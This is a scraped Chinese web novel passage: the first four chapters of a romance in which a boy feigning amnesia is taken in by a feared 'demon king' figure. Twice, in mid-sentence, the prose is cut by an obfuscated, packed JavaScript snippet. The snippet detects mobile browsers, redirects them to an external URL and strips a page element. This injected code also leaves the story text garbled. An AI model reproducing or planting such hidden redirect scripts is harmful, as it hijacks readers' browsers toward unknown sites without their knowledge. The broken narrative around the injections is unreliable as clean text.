《谁说魔王不会养老婆》 1. 跟我回家 “姓名。” “年龄。” “联系方式。” 小小的屋子里气氛凝重,询问一声接一声,几个人挤在桌子前,盯着面前少年,想要从他这里听到一点有价值的消息。 凌岁虞乖巧坐着,双手握拳放在大腿上,抿着嘴,满脸茫然。 他再次摇了摇头,重复道:“不记得了。” “脑袋好晕,一想东西就痛。” 同样的问题已经问了六遍,不知道还有几遍才能结束。 凌岁虞状似不经意地看了看门口,心情有点焦灼,他最想要见的那个人,到现在还没有出现,如果这次没成功,就找不到下次碰瓷的机会了。 毕竟,他坚持要扯上关系的那个人,可是让所有天使和恶魔都闻风丧胆的大魔王——陆琰修。 也许他该试探一下。 凌岁虞舔了舔唇,小心翼翼地趴下身子,半张脸压在了桌子上。 没什么肉的脸蛋愣是被挤出了一个圆润的弧度。 这是他研究出来的,最无害的形象。 “叔叔,把我送到医院去的那个大哥哥呢,他怎么不在,我想要谢谢他。” 被他选中问话的中年壮汉挠了挠脑袋,低头看着乖巧的少年,眼神变得柔软了不少,他捏着嗓子温声道:“他有点事情,马上就……” 门嘎吱一声开了。 “又在说我什么坏话呢。”陆琰修拎着个袋子走了进来,他看着很困倦,眼皮下有淡淡的黑眼圈。 凌岁虞蹭的一下直起了身子,唇立刻上扬,露出了一个甜笑。 “哥哥!”他脆生生地喊。 陆琰修被震得耳朵一麻,抬手捂了捂,无奈又好笑地提醒:“小喇叭放低音量,屋子小,有回声。” 凌岁虞立刻捂紧嘴巴,眼睛亮晶晶的,像在发光,他猛猛地点了两下头。 这可是他费尽心思也要抱住的大腿,当然说什么就是什么。 想了想,他又学着记忆里那些总爱黏在一起的人说话,轻轻抱怨一声:“为什么这么晚才过来,我等你好久了。” 陆琰修眉头微动,迟疑了片刻,没有第一时间回应,反而是坐到了凌岁虞面前,盯着他的眼睛,认真问:“我先问你一件事,你是不是真的一点东西都想不起来了。” 凌岁虞有点心虚,条件反射就要跳脚喊我就是什么都不记得了。 还好仅有的一点理智压制住了这个念头,他坚定地点了点头,把刚刚的话又重复了一遍。 “什么都不记得了。” “既然这样,”陆琰修把袋子推到了凌岁虞面前,他下巴微扬,示意他打开看:“里面是给你的东西,仔细看一下。” 凌岁虞心猛地跳了一下。 他盯着这袋子,脑海里一时间划过了很多东西,会不会是他当小骗子碰瓷的事情败露了,还是医生说他根本没有失忆。 他说了这么多谎话,无论揭穿哪一个,都是没法在这里待下去的。 想到这里,凌岁虞伸手的动作都带上了几分迟疑,就好像袋子里装着大怪物,会咻的一下蹦出来给他一个暴击。 陆琰修似乎也有点紧张。 凌岁虞听到了他鞋子轻点地面的声音,很规律,哒哒哒的,但也很让人心烦,好像在催促他快点。 他愤愤地想,催什么催,急得又不是你。 他才是那个满嘴胡言的骗子好吧。 “要我帮你取出来吗?”陆琰修头凑了过来。 凌岁虞立刻一把抓住袋子,把它拽到了自己怀里,脸涨得通红。 “不用,我自己来!” 他视死如归,伸手掏了一下袋子。 热热的,还挺沉,凌岁虞的心缓缓放下,不管是什么东西,都和他最开始以为的调查报告相差甚远,他都没有注意到,自己有点紧绷的唇缓缓放松。 陆琰修轻飘飘地看了一眼。 “是热水吗,还是纯牛奶,”凌岁虞小心翼翼地把还有液体晃动的纸杯捧了出来,左看看右看看,没舍得动嘴,他谨慎道:“我没钱买。” 门后方传来了几声没忍住的窃笑。 凌岁虞有点恼了,他眨了眨眼睛,鼓着腮帮子,刻意更大声地喊了句:“就是没有钱买,我很穷的。” 门外人笑声很多了,他们也大声地回应,就好像还坐在屋里的脸色沉下来的男人不存在一样。 “没事,好心的大哥哥有钱,他请你。” “陆琰修你不行啊,怎么能有这种误会,让小朋友付钱算什么男人。” 陆琰修扶额,万分后悔没有在这群人偷听的时候,第一时间让他们混蛋。 他安抚地摸了摸气呼呼的少年的头,转身声音一下子就冷下来,问:“是案子不够多,还是午休时间太长,还有心情在这里听我墙角。” 笑声戛然而止。 凌岁虞不知道为什么,在这种无声的环境,不够安全的情况下慢慢放下了警惕心。 他想,为什么大家都说陆琰修是大坏蛋,明明他看起来很好,都不允许别人笑话他。 “喝一口试试,不知道你喜不喜欢这个味道。” 凌岁虞偷偷看了一眼陆琰修,抽出吸管插进杯子里,满满地吸了一大口,还没来得及咽下去,就惊讶地瞪大了眼睛,像是突然吃到三文鱼的流浪小猫。 奶香,茶香,甜甜的又很清冽,是他从来没有尝过的味道,到底是什么东西,怎么会这么好喝! 他没忍住又猛地吸了一下,眼睛满足地眯起,腮帮子鼓着,半天也舍不得吞下喝下一口。 在外流浪的时候,他也经常会遇到好心人,送他纯牛奶或者是其他饮料,但他发誓,自己从来没有这么失态过。 果然大魔王拿来的东西也是最好的。 他一定要缠上他。 陆琰修看他表情就知道他喜欢喝这个,眼神稍缓,笑道。 “里面还有东西,你继续拿。” 凌岁虞握奶茶的手紧了紧,犹豫半晌,先是低头又吸了两口,才恋恋不舍地松手,将奶茶杯端端正正地放到了自己手臂旁边。 他喉咙里发出含糊不清的声音。 “先放着,我拿完东西再喝。” 凌岁虞又伸手去摸那个袋子,满眼期待,明明只是一个普普通通的袋子,再拿出来了一杯奶茶后,在他眼里直接升级成了百宝箱。 肯定还有好东西在里面。他确信。 只是这次,他抽出来的东西,竟是一张纸,还是一张密密麻麻写满字的纸。 晴天霹雳,凌岁虞脸上的笑还没有消失,眼睛就先一步要发酸变红了。 他都不敢看这张纸,只能向坐在一边的陆琰修投去可怜巴巴的眼神。 “这是什么?”他声音里全是真情实感的控诉。 陆琰修不知道什么时候双手环胸看了过来,手指一直在轻点自己的手肘。 看凌岁虞久久不看纸上的内容,他还轻轻催了催:“别盯着我看,认真看一下这纸上面的信息。” 凌岁虞不想看,但他也没办法,只能心不甘情不愿地举起了纸。 因为一种我死也要死得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15333801|167721||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大大方方的诡异自尊心,他甚至开始一个字一个字读了出来,声音还挺大,至少陆琰修能够听得很清楚,他手指活动的频率也越来越频繁,好像在努力忍耐着什么。 “临时监护协议,期限,自今日起至恢复记忆想要离开止,临时监护职责,保障被监护者的日常生活需求……” 凌岁虞的声音慢慢放低,速度变缓,明明嘴巴还在念着纸上的字,眼睛却不停地往陆琰修那边看。 读到最后几个字时,他都有点发抖。 “甲方陆琰修,乙方空白。” “你是要当我的临时监护人。” “可监护人是什么意思,你是想当我爸爸吗?” 凌岁虞呆呆发问,他现在觉得头晕目眩,脑袋胀胀的,好像从天而降一个巨大的馅饼,他一口吃下去,差点把自己撑晕。 他之前想过的最好的结果,也不过是陆琰修能够帮忙安置他,让他有个能够安心住下的地方,不用像在天使聚集地一样,被别人欺负,然后他就可以隔三差五到陆琰修面前刷存在感,刷好感度,最后理直气壮地抱上金大腿。 谁能想到陆琰修竟然直接跳过了所有过程,直接把最美好的结局都摆在了他的面前。 可问题是,这是真心的吗,还是说只是个想要他露出马脚的陷阱。 陆琰修颔首,他倾身靠近,修长手指点了点条款,道:“所有的条例都是我看过相关协议后,亲自截出来的,你若是还有什么想要添加的,可以直接告诉我,不要害怕,我现在就能补上去。” “不过,不是爸爸,”他忍笑,解释:“你可以继续叫我哥哥。” 凌岁虞咬咬唇,有点心动,他小声嘀咕:“但我不记得我的名字了。” 他问:“你要帮我取个名字吗?” 都说一个人给另一个人或物起了名字,两个人就有了不可割舍的羁绊,若是陆琰修给自己了名字,那之后肯定就没办法甩掉他了。 凌岁虞有点得意,不是谁都能想出来这种绝妙的办法的。 只可惜,陆琰修注定让他失望了。 只见男人摸了摸口袋,就从里面摸出来了一个磨损得看不出内容的手写信,信最下面的署名是——凌岁虞。 “这应该是你写的信。” “你落在路边的行李,我都去取回来了,你等会儿可以看看里面的东西,说不定能想起什么。” 凌岁虞气闷,差点用眼神把这封手写信盯出一个洞来,这是他第二次从信上知道自己的名字。 早知道就把它丢掉了,反正也没有什么用,现在让他借取名答应监护协议的理由都没了。 陆琰修还保持着递信的姿势,似乎是看他态度有点不对,手往后缩,想要把信收回去。 凌岁虞抬手抓住信,他深吸一口气,告诉自己以后还会有机会的,他现在应该装得矜持一点,不要立刻就答应,会有点奇怪。 可下一秒,男人又开口了。 “跟我回家,我会照顾你,奶茶你可以随便喝。” 凌岁虞拒绝的话堵在喉咙里。 他眼睫毛颤了颤,看了眼旁边放着的杯子,情不自禁咽了咽口水。 原来这个超好喝的水叫奶茶! 有奶味有茶味,竟然叫奶茶,真是聪明的名字,一看就是有钱人才能喝的贵东西。 他贪心地问:“每天都有吗?” “有。” “那我签!” 凌岁虞拿起笔迅速写名字,他想,他可不是随便答应的,陆琰修可是说了,每天都会给他喝奶茶呢。 2. 奶茶小房 “所以几杯奶茶就把你哄到手了,亲爱的你也太好骗了吧。” “我请你吃大白兔奶糖,你再给我讲一遍发生了什么好不好,我刚出去了,啥都没有听到呢。” 凌岁虞端坐在休息室桌子旁,快被一群八卦的人挤得窒息。 可是他已经讲了很多很多次了! 鼓着腮帮子,凌岁虞气呼呼地大声喊:“他们都听过了,为什么不让他们讲,我嘴巴都干了。” 而且,他举起手中的奶茶杯子,将它放到大家耳边,使劲晃了晃,让他们听声音,还强调。 “奶茶都喝完了,喝,完,了,一滴都没有啦。” 他舔了舔唇,又把声音压低,和他们商量:“如果你们再给我一杯奶茶,我就继续讲。” 几人对视一眼,连连摆手。 凌岁虞立刻泄了气,他指着杯身上印着的大杯两个字,可怜巴巴地求:“可以买小一点点的奶茶吗,就是,中杯,或者小杯,只要有就可以了。” 年轻一点的先受不了,捂着脸,强压住被萌得怦怦跳的心,非常努力才克制住了想要立刻冲出去买奶茶的冲动。 “不是我们不想给你买,是这东西添加剂有点多,只能偶尔喝一下,而且喝多了容易失眠。” “队长要是知道我们给你买这个,我们肯定吃不了兜着走。” 队长,指的是陆琰修吗。 想到自己之后要跟陆琰修住一起,凌岁虞就没来由地紧张起来,他举奶茶杯的手放下,状似不经意,好奇地询问:“你们为什么都怕哥哥呀,他很温柔呀,超级无敌宇宙最最最好。” “滤镜太深,小朋友,”一个小伙子晃了晃手指,唉声叹气,说:“大魔王几个字可不是浪得虚名。” “之前有犯人不听话,审问时挣扎得很厉害,我们没压住他,他一个手欠把队长的东西打碎了,好像是个蛋壳吧,队长平时宝贝得很,当时脸色就难看得不得了,后来他亲自审问,那个犯人出来时,两眼恍惚,涕泪横流,别提多惨了。” 陆琰修工作时原来这么凶,凌岁虞刚放下的心又悬了起来,他小小地吐了一口气,艰难发问。 “那他有什么讨厌的事情吗?” 小伙子摸了摸下巴,一时间陷入了沉思,过了好久才一拍手,确定道:“队长平时还是很温和的,不跟我们一般见识,但只有一点他绝不容忍,只要谁敢做那种事,他就会暴怒,从重处罚,不留情面。” “到底是什么事?” “是撒谎。” “队长最讨厌的就是谎话连篇的人。” 小伙子简简单单的两句话,直接让可怜的小天使浑浑噩噩忧心了一整天。 就连跟陆琰修去车库的路上,他都一直在走神,连走在前面的人故意停下来了都没发现。 额头突然碰到了什么冰冰的东西。 凌岁虞被冻得抖了两下,本就紧张得很,被碰到更是差点原地蹦起来,小心抬头,对上的却是陆琰修无奈的眼睛,男人的手抬起,掌心正贴在他额头上。 在他前方不到半米的地方,是一根表面粗糙不平的柱子,实心的,撞上去铁定头晕眼花。 “想什么呢,路都不看,磕到东西怎么办。” 糟糕,惹人生气了。 “对不起,我下次不会了,”凌岁虞立刻着急道歉,他嘴巴抿着,眼睛紧闭,把脸往上抬了抬,凑到陆琰修面前,说:“你要是生气,可以惩罚我。” “惩罚,”陆琰修将手收回来,还有几分好笑,反问:“这就要惩罚了吗,就凭你今天的所作所为,我要生气的地方也太多了吧。” 他犯错的地方竟然不止一处,怎么可能,今天他可是用了他观察过的所有装乖技巧,如果这样还不够,那他之后不是天天都要受惩罚。 凌岁虞等不住了,他咬牙,右眼悄咪咪地睁开一条缝,仔细观察陆琰修的表情,企图从人脸上瞧出几丝端倪。 可这人明明是笑着的,怎么看也不像是生气啊,人的嘴巴和脸怎么可以两模两样。 凌岁虞有点生气了。 他哼着气嘟囔:“我今天明明可乖了,哪里犯错了,你就是在吓唬我。” “如果你是这么想的,那就又犯错了。”陆琰修转了转手中的钥匙扣,车就在附近,发出了嘀的一声,他却没有要继续走的意思。 凌岁虞茫然站在原地,不服气。 “哪里又错了。” 车库里空荡荡的,只有他们两个人,昏暗的光从头顶打下来,凌岁虞看到的脸都是模糊的,他没法像往常一样通过观察微表情来判断一个人的情绪。 这让他感到失控。 他到现在才突然有了几分实感,明确地意识到,站在他面前的,是所有天使和恶魔都惧怕的人。 “你怎么不会好好照顾自己。” 可没等凌岁虞的思绪发散,即将涌上心头的恐惧和胆怯就被一下子压下去了。 男人伸手过来,压了压他的脑袋,力气很大,但出乎意料的温柔。 “午饭,有不喜欢的菜为什么要硬吃。” 凌岁虞眨了眨眼睛,心里惊讶,陆琰修竟然发现了,明明他表现得没有很明显。 午饭的菜,他真的特别讨厌,肉吃着想吐,茄子不喜欢,最后一个土豆丝还辣辣的。 他流浪久了,太好的饭菜吃不惯,味道重了点就刺激着胃痛。 还好下午有好心姐姐给他送了药,不然…… 凌岁虞突然恍然大悟,他没忍住往前走了一步,眼巴巴地盯着陆琰修,问:“是你给我准备的药吗?” 陆琰修没说话,只是手往下滑了滑,指尖在他的脸颊边停留。 在凌岁虞穷追不舍的追问下,捏着他的腮帮子揉了揉,揉到脸颊都泛起了极淡极淡的粉红,才松开手,转身向停车的地方走过去。 “我的回答可是有条件的。” “什么时候脸上长了肉再来问我。” 凌岁虞呆在原地,捂着有点烫,带着微微痒意的脸颊肉,唇角微微翘了翘,小声自言自语。 “这是大魔王的惩罚吗,好像也不是很恐怖。” * “明天怎么就没有奶茶了!你没有骗我吧。”凌岁虞手上的包裹还没有放到沙发上就听到了这个噩耗。 男人嗯了声,看起来也没多在意这件事,好像只是随口一说,但他不容置疑的语气,让凌岁虞意识到——这个才是真正的惩罚。 原来在这里等着他。 这可是他签订监护协议的唯一要求,是他喝了一次就无法忘怀的美味,陆琰修竟然把这个当作惩罚,他之后肯定就不能犯错了啊。 他幽怨地盯着男人,一时间都不想要跟他说话了,脚也不挪动,就站在原地,像是生了根。 陆琰修走到房门前,推开门,回头就发现一直跟在他屁股后面像小尾巴的少年不见了。 偏头一看,人果然还气鼓鼓地站在沙发旁边,嘴巴噘得老高,都能挂油壶了,行李也没放下来,拎在手上,不像是要来借住的小朋友,更像提起东西就要离家出走的叛逆小孩。 他又折了回去,一手接过小包袱,另一只手牵着少年的手,好声好气,连哄带骗着把人带到了客房里,让他看喜不喜欢里面的风格。 “不是惩罚你,说好给你的奶茶,一点都不会少,但奶茶喝了可能会失眠,你第一次喝,我要看一 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“怎么了,不喜欢吗?”陆琰修关切询问,他有点懊恼,下午时间还是太紧了,他布置得匆忙,确实没有过问凌岁虞的意见。 “不,不是,”凌岁虞猛地摇了一下头,他愣愣地答:“是太喜欢了,都是我喜欢的东西,所以不敢相信,这真的是我的房间吗?” 陆琰修松了一口气道:“那就好,有什么缺的告诉我,我给你添置。” “可你为什么对我这么好,我有什么特别的地方吗?”凌岁虞犹疑地盯着他,轻轻试探。 陆琰修怔住,他认真想了想。 “可能是因为你特别可爱,刚好我又特别喜欢。” 怎么会有人这样说话,他们两个还不算很熟吧,凌岁虞坐在地上,慢吞吞地理着包裹,脑子里东西太乱,他必须借助一些机械运动来帮自己大脑降温。 从小到大,还没有人这样跟他说过这种话。 他这种混血儿,还是个残疾,到哪里都是被讨厌被看不起的,其他流浪者不欺负他就算好的了,哪里还会给他住的地方,还夸他。 他都要不好意思了。 几件尺寸不一的衣服,几颗不同大小的扣子,还有那封信,再加上破了口的袜子,这就是包裹里全部的东西了。 凌岁虞盯着地上散开的东西看了许久,突然一下子站了起来,把已经空了的包裹抖了又抖,翻了又翻,直到确定再不会掉出来任何东西,才一屁股沮丧地坐到地上。 天塌了。 他最重要的东西,一只没了一条腿,眼珠子还掉了一颗的玩具熊不见了。 明明他碰瓷前还想着用扣子给熊缝上当眼睛的。 没有熊,他会害怕,还会睡不着的。 * 陆琰修一向忙碌,今天因处理凌岁虞的事,耽搁了许久时间,只能深夜加班加点处理,好不容易弄完,他又有点没睡意,想了想,去弄了点酒过来。 只是酒刚倒进杯子,门口就传来了轻轻的敲门声。 是真的很轻,陆琰修若是睡了,绝对听不到。 小朋友失眠了? 陆琰修没多想,杯子都来不及放,就直接走过去开了门。 一低头,一个穿着破旧单衣,光着脚,蹲在门边上,抱着膝盖缩成一团的小少年身子一歪,差点滚到陆琰修的脚上。 他显然没想到陆琰修还没睡,眼睛瞪圆,委屈巴巴的有点可怜。 陆琰修下意识皱起了眉,道:“怎么不穿柜子里挂的新睡衣。” 没等凌岁虞回答,他的声音更沉,又追着说。 “你还不穿鞋。” 3. 哄睡 “我的鞋子。” 凌岁虞被凶得一震,连忙把脚缩起来,企图用长了一截的裤腿把它遮住,可刚动腿又想起来,陆琰修也不喜欢这睡衣。 怎么都是错。 他低下头,看起来连头发都塌了,他现在是一个被悲伤压垮了的小天使。 陆琰修轻叹一口气,左右看了看,没发现有鞋子的影子,干脆俯身,手揽住少年的腰,一把将他抱起,因为单手不方便,很快手就转到了大腿处,托着人举起来。 凌岁虞眼前的世界骤然变化,他揉了揉眼睛,抬手,轻轻抓住了陆琰修肩膀处的衣服。 柔软的睡衣布料在手心里滑来滑去,几下就被捏出了褶皱。 理智告诉凌岁虞,他应该现在就放手,毕竟这衣服看起来就不便宜,他也不该表现得这么依赖人,要从别人身上汲取能量。 但是他的小熊不见了,他的勇敢已经丢一半了。 陆琰修抱着人,脚一勾关上了门,转身走了几步,将手上的杯子放了下来,里面的酒还一口未动,在灯光下看起来很诱人。 凌岁虞的目光也跟着杯子动了动。 陆琰修放杯子的手一顿,兴许是察觉到了他直勾勾的目光,他把酒杯换了个地方放,酒杯恰好被台灯完全遮挡住,任凌岁虞怎么换姿势也看不到。 放好后,他还抬手拍了拍怀里人的背,告诉他。 “未成年不能饮酒,别盯着看。” 凌岁虞瘪了瘪嘴巴,小声问:“那我很快就能成年了,那个时候能喝了吗?” 他听说,一喝酒,烦恼就都没了。 可见这东西也是个好东西,比药和医生还管用,天族领地没有这些人类制作出来的东西,他想试一试是什么滋味,都没有机会。 陆琰修并不乐意,但直接拒绝似乎太过绝情,会让人生气难过。 他思索片刻,说:“等你成年了,能自己努力赚钱买品质好的酒,就可以喝。” 凌岁虞又不高兴了,他现在特别想让人管着自己,而不是让他自己随心所欲,这会让他觉得自己和当初一个人流浪没有区别。 他故意唱反调,大声:“那我现在就成年了,我要求把奶茶换成酒,我就要喝你刚刚放下去的那一杯。” “不要说气话,仪器测试过,你还有差不多两年半年才成年,在这之前,都不能偷偷喝酒。” 陆琰修托着凌岁虞走到了床边,轻轻把他放下来,看他穿得太单薄,顺手将旁边叠得整齐的毛毯拉开,将他裹进去。 看起来就像香香甜甜的瑞士卷,陆琰修想,就是太容易炸了。 他捏着凌岁虞的下巴,把人的脸往上抬了抬,大拇指蹭过少年泛红的眼尾,温柔地询问。 “发生什么了,这么难过。” 凌岁虞已经撑不住了,他现在真的很困,身体和精神都疲惫,他好想躺下去,在这个从未享受过的柔软大床上打滚,然后幸福睡过去,做一个香香甜甜,不被打扰的美梦。 毕竟这里这么安全,不会有突然出现的流浪汉,觊觎他为数不多的财物,也不用担心会有巡逻队夜里突袭,把他们这些血统不正的非法居民赶走。 但他就是睡不着。 眨了眨酸涩的眼睛,生理性泪水涌出,很痛,委屈涌上心头,他不管不顾地指责:“你没有把我的小包袱带回来,你当时把它丢在那里了。” 陆琰修微愣。 他不是个蠢人,转念一想就明白了凌岁虞为什么突然情绪失控。 必然是包裹里少了什么。 当时调头去医院的时候太急,他们只顾着把人带上,包裹确实落在原地了一个小时,再回去时包裹也系得很好,他就直接带回来了。 确实是他的错。 陆琰修弯腰,把人往自己这边搂了下,连人带被子一起抱住,安抚的一下接一下抚摸着背。 凌岁虞被抱得紧紧的,胸膛都挤得发闷,脸蛋压得扁扁,嘴巴挤得嘟起,这种快要挤死人的抱法,他竟然从中找到了前所未有的安全感。 热乎乎的胸膛,还有怦怦的心跳声。 他小声含糊着请求:“拜托拜托,能够再抱紧一点吗,再用力一点点,一点点就行。” 陆琰修顺从地将他整个人拥到怀里,压在胸口。 “有没有好一点?” 脸颊贴着的胸膛轻微起伏,凌岁虞靠得太近,陆琰修说话时,声音大得像是有雷在耳边响,吵吵的。 他点了点头,下巴蹭着毯子上柔软的绒毛,心情好了许多,又有力气跟陆琰修说话了。 “我的小熊不见了,没了他我会睡不着的。” 他认真解释,他要告诉陆琰修,他不是无理取闹,只是因为丢的东西真的非常非常重要,所以他控制不住自己,可太委屈了,他说着说着又有点哽咽。 陆琰修及时叫停。 “好,先停下来,不要说话,想哭就直接哭,憋着只会更难受,等你哭完了,再深呼吸,平复心情,我们一起来解决这件事。” 凌岁虞深深吸了一口气,瘪着嘴巴,在安抚声中默默流了一会儿眼泪。 他还做不到在陆琰修面前放声大哭,但眼泪这东西是憋不住的,有人安慰,就会忍不住地涌出来。 陆琰修就静静地等他发泄情绪。 等到泪差不多停了,他才递上准备好的手帕,问:“现在我们可以继续谈话了吗?” 凌岁虞乖乖点了点头,他用手帕抹了一把脸,脸上潮潮的,但确实不想哭了。 “你的小熊长什么样子呢,”陆琰修轻声问,他说:“我想知道它的颜色,大小,或许你还会告诉我一些比较特殊的记忆点,我们一起把它画出来,然后一起来找你的小熊。” “真的能找回来吗,”凌岁虞犹豫,他沮丧着跟陆琰修说:“它只是一只很普通的小熊,也许别人拿走它只是一时兴起,玩腻了就把它丢掉了,也有可能它在某个垃圾桶里,脏得看不出来是什么。” “如果我找不到它,那还不如不找它,最开始就不要抱期待就是了。” 陆琰修却说:“只要你告诉我,我就一定帮你找到,相信我一次,嗯?” “可它只是一只小熊。” “但你没了它睡不着觉。” 凌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15333803|167721||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 岁虞再次拒绝的话被堵了回去,他抿唇,半天才点了点头,肯定了陆琰修的话,他挣扎着把手从卷得没有空隙的毛毯里抽了出来,在空中来回比画。 “它只有这么大,我可以把它抱在怀里,这样我的胸膛处就会暖暖的。” “它是独脚,没有左脚,也没有右眼,不太好看,但是这样很酷,而且你抱起来会发现,它很软很软,和其他的毛绒玩具比,一点也不差。” “不过我本来想给它把眼睛缝上的,但还没动手呢,它就不见了。” 凌岁虞摊开手,给陆琰修看他的手心,中央躺着一粒扣子,因为握得太紧,在肌肤上留下了一个圆圆的红印。 “好的,我记住了,”陆琰修揉了揉凌岁虞的脑袋,承诺:“很快你的小熊就回家了。” 他看着已经困得两眼恍惚的凌岁虞。 “不过,今天和我一起睡吧。” 和大魔王一起睡,凌岁虞别扭地躺在床的边缘,只觉得心跳都加速了。 偏偏这人还叫他放松,别紧张,这是想不紧张就行的事吗,他还没有跟人一起睡过呢,毕竟流浪的时候,身边的所有人都是可能会抢他东西的坏蛋。 不过他也不想让陆琰修看出来自己的不适应,毕竟这人对他还是很好的,甚至还答应了花时间帮他去找弄丢的小熊。 他今天在休息室的时候打听过了,大家的工作都很辛苦的,早上八点就要到工作地点上班,迟到还会扣奖金。 陆琰修以身作则,更是每天七点零几就到了,现在这么晚,他不能再打扰对方休息了。 可闭上眼睛,又实在没有睡意,凌岁虞强行控制自己僵着身体侧躺着,伪装出一副已经睡着的假象,只是颤动的睫毛,凌乱的呼吸,还有时不时勾一勾的小拇指,都是有点太明显的破绽。 陆琰修翻身,盯着人僵直的后背看了好久,直到终于把人看炸了,才慢条斯理道:“还睡不着对吗。” 凌岁虞背着他点了点头,他觉得自己怀里空荡荡的,缺了什么一样不安心。 “抱着枕头也许会好一点。” 陆琰修下床,取了一个新的枕头过来,枕头特地挑的最软的一个,里面是填充的特殊的香料,有镇定安神的作用,在外面,小小一袋千金难买。 凌岁虞抱着这枕头,确实感觉舒服了不少,一点困意涌上来,他眯着眼睛,不知道自己哪里来的勇气,得寸进尺,竟提出了一个格外大胆的请求。 “我还是有点睡不着,还缺了一点东西。” 陆琰修阖眼,他已有了些困意,声音也越发低,但还是一个问题也不落地回应:“缺什么。” “我的小熊会说话。” 陆琰修顿了顿,淡淡地问:“说什么?” “他会说,晚安小朋友,做个好梦。” 很长一段时间的沉默,凌岁虞迟迟等不到旁边人的回应,但耳边的呼吸声却像是最有用的摇篮曲,催得他快要睡去。 在坠入梦乡时,他脑袋歪了歪,很轻的声音传进了耳朵里,语气温柔得像是幻想出来的。 “晚安,岁虞小朋友,做个好梦。” 4. 零分选手 “啪嗒啪嗒——”键盘敲击声回荡在耳边。 阳光从没拉严实的窗帘缝隙中射进来,凌岁虞紧闭双眼,脸捂得粉红,尚在睡梦中。 房间里有点热,光也旺眼睛,他不太舒服,扯着被子就往头顶拽,试图挡住这扰人的光,只可惜被子不够长,往上拉一截,还没盖住脑袋,脚就先一步露了出来。 脚心凉凉的。 凌岁虞蹙眉,下意识弯了腿,整个人轱辘一滚,迷迷糊糊地坐了起来。 “好困,”他低低抱怨,肚子适时响了起来,他揉了揉眼睛,又嘀咕了下,“好饿。” “哥哥,该起床了。” 凌岁虞睡眼惺忪,没转身,伸手往后面拍了拍,动作行云流水,却没想拍了个空。 本应该躺在他旁边睡觉的男人不见了踪影,被单发凉,没有一丝暖意,足以说明陆琰修早就不在他旁边了。 这么早就起床吗? 凌岁虞脑子清醒了一点,他仰头,脸一百八十度旋转,寻觅着钟表的影子,片刻后,迟疑地落到床边的柜子上。 一个小小的奶黄色的猫咪闹钟正兢兢业业地工作着,略粗的指针夹在九和十的中间,顶端的猫爪装饰非常可爱。 但再可爱也拯救不了凌岁虞崩溃的心。 他双目怔然,嘴巴张了张,一手抬起来摸了一把自己的额头, 触感温润,体温正常,没有过高,也没有偏低。 “也没有生病啊,”凌岁虞小声迷茫道:“怎么就睡过头了。”他在流浪的时候,可是每天早上五点左右就会清醒过来的。 一般这个时候,打工人都还没有出门,早餐店的老板在处理食材,准备迎接第一批食客。 凌岁虞和一个年轻老板关系还不错,可以提前到店里去,替老板试一下包子馄饨的味道。 他从没有迟到过,因为一天下来,这可能是他能吃到的唯一的热乎饭。 偏偏今天就出问题了,凌岁虞脸涨得通红,又气又怒,恶狠狠地用右拳砸了一下左手,这才是到陆琰修家里住的第一天。 这么懒惰,一定会给人留下坏印象的。 他掀开被子想要下床,脚还没踩到地,一个活泼的声音突然从四面八方传来,吓得他腿一软,像是果冻一样滑到了地毯上。 “凌岁虞小朋友,起床啦,太阳都晒屁股啦……” 定时九点半自动响起的闹钟,幼稚得让凌岁虞头皮发麻,都是哄小孩子的把戏,明明他都快要成年了,到底为什么要设置这样的语音。 “我已经起来了!”找不到声音关闭键的凌岁虞无助地大声喊了出来。 起床铃声立刻停止,窗户唰的一下就自动打开了,阳光倾泻而入,凌岁虞抬手遮住眼睛,眯着寻找开窗的人,却没有找到。 “你好,我是这里的智能AI助手,你可以叫我小玉,或者玉玉,现在是B市时间九点半,请出门右拐进行洗漱,早餐正放在厨房保温。” 凌岁虞挠了挠头,慢吞吞地爬了起来,把床上揉成一团的被子叠好,光着脚哒哒哒往外跑。 “不要跑,不要跑,请到床边穿好鞋子!” 欸,鞋子,凌岁虞停下脚步,丝滑地转了个方向,低头,就看到毛茸茸的拖鞋放在床边,仔细看上面的图案,还是个小熊。 感觉是专门为他准备的拖鞋。 凌岁虞把脚伸进去试了下,大小正好合适,他原地蹦了两下,立刻就适应了这个脚感,小跑着冲进了卫生间,洗漱吃饭。 嘴里叼着软乎乎的面包准备出门时,凌岁虞还被小玉拦下来强制加了一顶帽子。 他万分不乐意,刚喝过牛奶,浑身上下都涌着一股热气,他都快要被热干了,戴上口罩,他肯定会热出汗的。 小玉一板一眼地跟他拉扯,严肃道:“这是陆先生交代给我的,你要是出门,必须戴口罩,当然,还有帽子,没有这个,你不许出门。” “竟然还有帽子,”凌岁虞目瞪口呆,这是想把他裹成什么,他立刻就换了口径,认真道:“帽子和口罩,我只戴一个,你挑一个吧。” “那就口罩。”小玉答应得非常爽快,让人严重怀疑它就等着这句话。 凌岁虞把口罩戴上时还有点闷气,总觉得自己好像被忽悠了,等跟着导航上地铁,才突然明白为什么陆琰修会要求小玉必须让他戴口罩。 压低的闷咳声,低哑的说话声,放眼望去全是生病感冒的人,凌岁虞吸了吸鼻子,只觉得自己喉咙都要发痒了。 他抬手,小心地把口罩又按了按,都带了装备了,那就绝对不能感冒了。 他要当个让人省心的好孩子。 “好孩子是很听话的,不会逃避考试的,来,快来这里坐着,我们一起给你监考。” 